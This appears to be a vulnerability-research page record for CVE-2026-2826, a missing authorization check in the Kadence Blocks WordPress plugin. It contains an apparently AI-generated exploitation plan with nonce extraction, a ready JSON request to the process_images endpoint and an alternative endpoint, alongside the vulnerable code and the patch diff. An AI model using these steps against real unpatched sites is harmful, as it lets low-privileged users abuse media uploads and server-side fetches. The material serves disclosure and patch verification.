[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fk9bYo5vPC77ImpXS_Bl02UFsjVIucLRngi8QGfIwS1s":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":27,"research_verified":28,"research_rounds_completed":29,"research_plan":30,"research_summary":31,"research_vulnerable_code":32,"research_fix_diff":33,"research_exploit_outline":34,"research_model_used":35,"research_started_at":36,"research_completed_at":37,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":28,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":28,"source_links":38},"CVE-2026-2826","kadence-blocks-page-builder-toolkit-for-gutenberg-editor-missing-authorization-to-authenticated-contributor-media-upload","Kadence Blocks — Page Builder Toolkit for Gutenberg Editor \u003C= 3.6.3 - Missing Authorization to Authenticated (Contributor+) Media Upload","The Kadence Blocks — Page Builder Toolkit for Gutenberg Editor plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 3.6.3. This is due to the plugin not properly verifying that a user has the `upload_files` capability in the `process_pattern` REST API endpoint. This makes it possible for authenticated attackers, with contributor level access and above, to upload images to the WordPress Media Library by supplying remote image URLs that the server downloads and creates as media attachments.","kadence-blocks",null,"\u003C=3.6.3","3.6.4","medium",4.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Missing Authorization","2026-04-03 19:45:52","2026-04-04 08:25:21",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F5f91df7e-5d9d-4a3a-9afc-d771106a0be6?source=api-prod",1,[22,23,24,25,26],"includes\u002Fclass-kadence-blocks-image-picker-rest.php","includes\u002Fclass-kadence-blocks-prebuilt-library-rest-api.php","kadence-blocks.php","readme.txt","vendor\u002Fcomposer\u002Finstalled.php","researched",false,3,"# Research Plan: CVE-2026-2826 Kadence Blocks Authorization Bypass\n\n## 1. Vulnerability Summary\nThe **Kadence Blocks — Page Builder Toolkit for Gutenberg Editor** plugin (versions \u003C= 3.6.3) contains an authorization bypass vulnerability in its REST API implementation. The endpoint `kb-image-picker\u002Fv1\u002Fprocess_images` uses a `permission_callback` that only checks for the `edit_posts` capability. \n\nIn WordPress, the `edit_posts` capability is granted to **Contributors** and above. However, the functionality provided by this endpoint—downloading remote images and creating Media Library attachments—should strictly require the `upload_files` capability (typically reserved for **Authors, Editors, and Administrators**). This allows a Contributor-level attacker to perform Server-Side Request Forgery (SSRF) and fill the server's Media Library with arbitrary remote content.\n\n## 2. Attack Vector Analysis\n*   **Endpoint:** `\u002Fwp-json\u002Fkb-image-picker\u002Fv1\u002Fprocess_images`\n*   **HTTP Method:** `POST` (WP_REST_Server::CREATABLE)\n*   **Vulnerable Function:** `Kadence_Blocks_Image_Picker_REST_Controller::process_images`\n*   **Authentication:** Contributor level (`edit_posts` capability required)\n*   **Parameters:** \n    *   `image_type`: (string) Type of image (e.g., \"pexels\").\n    *   `image_sizes`: (array) An array containing objects with remote URLs to be processed.\n\n## 3. Code Flow\n1.  **Route Registration:** In `includes\u002Fclass-kadence-blocks-image-picker-rest.php`, the `register_routes()` function registers the `kb-image-picker\u002Fv1\u002Fprocess_images` endpoint.\n2.  **Permission Check:** The `permission_callback` is set to `get_items_permission_check`.\n    ```php\n    public function get_items_permission_check( $request ) {\n        return current_user_can( 'edit_posts' );\n    }\n    ```\n    This allows any user who can edit posts (Contributors) to access the endpoint.\n3.  **Data Processing:** The `process_images` method is triggered:\n    ```php\n    public function process_images( $request ) {\n        $parameters = (array) $request->get_json_params();\n        return kadence_blocks()->get( Image_Downloader::class )->download( $parameters );\n    }\n    ```\n4.  **Sink:** The parameters are passed to the `Image_Downloader::download()` method. This method iterates through the provided URLs, fetches the remote images using `wp_remote_get()`, and uses WordPress's sideloading functions (like `media_handle_sideload`) to create local attachments.\n\n## 4. Nonce Acquisition Strategy\nThe REST API requires a standard WordPress REST nonce for authenticated sessions. This nonce is bound to the `wp_rest` action.\n\n1.  **User Role:** Log in as a **Contributor**.\n2.  **Location:** The REST nonce is globally available in the WordPress admin dashboard for logged-in users.\n3.  **Extraction:**\n    *   Navigate to `\u002Fwp-admin\u002Findex.php`.\n    *   Use `browser_eval` to extract the nonce from the `wpApiSettings` object which WordPress enqueues by default:\n        ```javascript\n        window.wpApiSettings.nonce\n        ```\n\n## 5. Exploitation Strategy\n### Step 1: Authentication\nLogin to the target WordPress instance as a user with the **Contributor** role.\n\n### Step 2: Nonce Extraction\nUse the browser to extract the `wp_rest` nonce.\n\n### Step 3: Malicious Request\nSend a `POST` request to the vulnerable endpoint using the `http_request` tool.\n\n*   **URL:** `http:\u002F\u002F\u003Ctarget-ip>\u002Fwp-json\u002Fkb-image-picker\u002Fv1\u002Fprocess_images`\n*   **Headers:**\n    *   `Content-Type: application\u002Fjson`\n    *   `X-WP-Nonce: \u003Cextracted-nonce>`\n*   **Payload (JSON):**\n    ```json\n    {\n      \"image_type\": \"pexels\",\n      \"image_sizes\": [\n        {\n          \"url\": \"https:\u002F\u002Fraw.githubusercontent.com\u002Fwp-plugins\u002Fkadence-blocks\u002Fmaster\u002Fscreenshot-1.png\"\n        }\n      ]\n    }\n    ```\n    *Note: The `image_sizes` structure is derived from the `sanitize_image_sizes_array` callback used in the controller.*\n\n## 6. Test Data Setup\n1.  **Plugin Installation:** Install and activate `kadence-blocks` version 3.6.3.\n2.  **User Creation:**\n    ```bash\n    wp user create attacker attacker@example.com --role=contributor --user_pass=password\n    ```\n\n## 7. Expected Results\n*   The server will return a `200 OK` or `201 Created` status code.\n*   The response body will contain information about the newly created attachment (ID and URL).\n*   Example response:\n    ```json\n    [\n      {\n        \"id\": 123,\n        \"url\": \"http:\u002F\u002F\u003Ctarget-ip>\u002Fwp-content\u002Fuploads\u002FYYYY\u002FMM\u002Fscreenshot-1.png\"\n      }\n    ]\n    ```\n\n## 8. Verification Steps\n1.  **Database Check:** Verify the creation of a new attachment.\n    ```bash\n    wp post list --post_type=attachment --posts_per_page=1 --orderby=post_date --order=DESC\n    ```\n2.  **Audit Capability:** Confirm the user `attacker` does **not** have the `upload_files` capability.\n    ```bash\n    wp user cap list attacker | grep upload_files\n    ```\n    (Expected: empty result)\n\n## 9. Alternative Approaches\nIf the `image_sizes` payload structure fails:\n1.  **Direct Array:** Try sending an array of objects directly if the REST controller expects the root to be the downloader payload:\n    ```json\n    [\n      {\n        \"url\": \"https:\u002F\u002Fraw.githubusercontent.com\u002Fwp-plugins\u002Fkadence-blocks\u002Fmaster\u002Fscreenshot-1.png\"\n      }\n    ]\n    ```\n2.  **Check Pattern Endpoint:** The CVE description mentions `process_pattern`. Although the provided source focuses on `process_images`, check for `kb-design-library\u002Fv1\u002Fprocess_pattern` (found in `class-kadence-blocks-prebuilt-library-rest-api.php`) which uses a similar structure.\n    *   Route: `\u002Fwp-json\u002Fkb-design-library\u002Fv1\u002Fprocess_pattern`\n    *   Permission Check: `current_user_can( 'edit_posts' )` (vulnerable).\n    *   Payload usually involves a `pattern_id` and `remote_url`.","The Kadence Blocks plugin fails to verify the 'upload_files' capability in several REST API endpoints used for processing images and patterns. This allows authenticated users with Contributor-level permissions or higher to download remote images onto the server and create Media Library attachments, a privilege normally reserved for Authors and above.","\u002F\u002F includes\u002Fclass-kadence-blocks-image-picker-rest.php line 63\npublic function get_items_permission_check( $request ) {\n\treturn current_user_can( 'edit_posts' );\n}\n\n\u002F**\n * Imports a collection of images.\n *\n * @param WP_REST_Request $request Full details about the request.\n *\n * @return array\u003Carray{id: int, url: string}> A list of local or pexels images, where the ID is an attachment_id or pexels_id.\n * @throws InvalidArgumentException\n * @throws Throwable\n * @throws ImageDownloadException\n *\u002F\npublic function process_images( $request ) {\n\t$parameters = (array) $request->get_json_params();\n\n\treturn kadence_blocks()->get( Image_Downloader::class )->download( $parameters );\n}\n\n---\n\n\u002F\u002F includes\u002Fclass-kadence-blocks-prebuilt-library-rest-api.php line 1215\n\u002F**\n * Processes a pattern and its images.\n *\n * @param WP_REST_Request $request Full details about the request.\n * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.\n *\u002F\npublic function process_pattern( WP_REST_Request $request ) {\n\t$parameters = $request->get_json_params();\n\tif ( empty( $parameters['content'] ) ) {\n\t\treturn rest_ensure_response( 'failed' );\n\t}\n\t$content = $parameters['content'];\n\t$image_library = ( isset( $parameters['image_library'] ) ? $parameters['image_library'] : array() );\n\n\treturn rest_ensure_response( $this->cache_primer->init( $content, $image_library ) );\n}","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fkadence-blocks\u002F3.6.3\u002Fincludes\u002Fclass-kadence-blocks-image-picker-rest.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fkadence-blocks\u002F3.6.4\u002Fincludes\u002Fclass-kadence-blocks-image-picker-rest.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fkadence-blocks\u002F3.6.3\u002Fincludes\u002Fclass-kadence-blocks-image-picker-rest.php\t2024-01-10 00:25:10.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fkadence-blocks\u002F3.6.4\u002Fincludes\u002Fclass-kadence-blocks-image-picker-rest.php\t2026-02-23 21:22:52.000000000 +0000\n@@ -68,12 +68,21 @@\n \t *\n \t * @param WP_REST_Request $request Full details about the request.\n \t *\n-\t * @return array\u003Carray{id: int, url: string}> A list of local or pexels images, where the ID is an attachment_id or pexels_id.\n+\t * @return array\u003Carray{id: int, url: string}>|\\WP_Error A list of local or pexels images, or WP_Error on permission failure.\n \t * @throws InvalidArgumentException\n \t * @throws Throwable\n \t * @throws ImageDownloadException\n \t *\u002F\n \tpublic function process_images( $request ) {\n+\t\t\u002F\u002F Require upload capability; this endpoint downloads images and adds them to the media library.\n+\t\tif ( ! current_user_can( 'upload_files' ) ) {\n+\t\t\treturn new WP_Error(\n+\t\t\t\t'rest_forbidden',\n+\t\t\t\t__( 'You do not have permission to upload files.', 'kadence-blocks' ),\n+\t\t\t\tarray( 'status' => 403 )\n+\t\t\t);\n+\t\t}\n+\n \t\t$parameters = (array) $request->get_json_params();\n \n \t\treturn kadence_blocks()->get( Image_Downloader::class )->download( $parameters );\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fkadence-blocks\u002F3.6.3\u002Fincludes\u002Fclass-kadence-blocks-prebuilt-library-rest-api.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fkadence-blocks\u002F3.6.4\u002Fincludes\u002Fclass-kadence-blocks-prebuilt-library-rest-api.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fkadence-blocks\u002F3.6.3\u002Fincludes\u002Fclass-kadence-blocks-prebuilt-library-rest-api.php\t2026-01-22 19:37:14.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fkadence-blocks\u002F3.6.4\u002Fincludes\u002Fclass-kadence-blocks-prebuilt-library-rest-api.php\t2026-02-23 21:22:52.000000000 +0000\n@@ -830,12 +830,21 @@\n \t *\n \t * @param WP_REST_Request $request Full details about the request.\n \t *\n-\t * @return array\u003Carray{id: int, url: string}> A list of local or pexels images, where the ID is an attachment_id or pexels_id.\n+\t * @return array\u003Carray{id: int, url: string}>|\\WP_Error A list of local or pexels images, or WP_Error on permission failure.\n \t * @throws InvalidArgumentException\n \t * @throws Throwable\n \t * @throws ImageDownloadException\n \t *\u002F\n-\tpublic function process_images( WP_REST_Request $request ): array {\n+\tpublic function process_images( WP_REST_Request $request ) {\n+\t\t\u002F\u002F Require upload capability; this endpoint downloads images and adds them to the media library.\n+\t\tif ( ! current_user_can( 'upload_files' ) ) {\n+\t\t\treturn new WP_Error(\n+\t\t\t\t'rest_forbidden',\n+\t\t\t\t__( 'You do not have permission to upload files.', 'kadence-blocks' ),\n+\t\t\t\tarray( 'status' => 403 )\n+\t\t\t);\n+\t\t}\n+\n \t\t$parameters = (array) $request->get_json_params();\n \n \t\treturn kadence_blocks()->get( Image_Downloader::class )->download( $parameters );\n@@ -1212,6 +1221,15 @@\n \t * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.\n \t *\u002F\n \tpublic function process_pattern( WP_REST_Request $request ) {\n+\t\t\u002F\u002F Require upload capability; pattern processing downloads images and adds them to the media library.\n+\t\tif ( ! current_user_can( 'upload_files' ) ) {\n+\t\t\treturn new WP_Error(\n+\t\t\t\t'rest_forbidden',\n+\t\t\t\t__( 'You do not have permission to upload files.', 'kadence-blocks' ),\n+\t\t\t\tarray( 'status' => 403 )\n+\t\t\t);\n+\t\t}\n+\n \t\t$parameters = $request->get_json_params();\n \t\tif ( empty( $parameters['content'] ) ) {\n \t\t\treturn rest_ensure_response( 'failed' );","The exploit targets the `\u002Fwp-json\u002Fkb-image-picker\u002Fv1\u002Fprocess_images` or `\u002Fwp-json\u002Fkb-design-library\u002Fv1\u002Fprocess_pattern` REST API endpoints. An attacker with Contributor-level credentials logs into the WordPress site and retrieves a valid REST API nonce (found in the source of any admin page). They then send a POST request to one of the vulnerable endpoints with a JSON payload containing remote URLs in the 'image_sizes' or 'content' fields. Because the permission callback only requires 'edit_posts' rather than 'upload_files', the server processes the request, downloads the remote images via the server, and creates new attachment posts in the Media Library, effectively bypassing role-based restrictions on file uploads.","gemini-3-flash-preview","2026-04-17 21:32:59","2026-04-17 21:33:25",{"type":39,"vulnerable_version":40,"fixed_version":11,"vulnerable_browse":41,"vulnerable_zip":42,"fixed_browse":43,"fixed_zip":44,"all_tags":45},"plugin","3.6.3","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fkadence-blocks\u002Ftags\u002F3.6.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fkadence-blocks.3.6.3.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fkadence-blocks\u002Ftags\u002F3.6.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fkadence-blocks.3.6.4.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fkadence-blocks\u002Ftags"]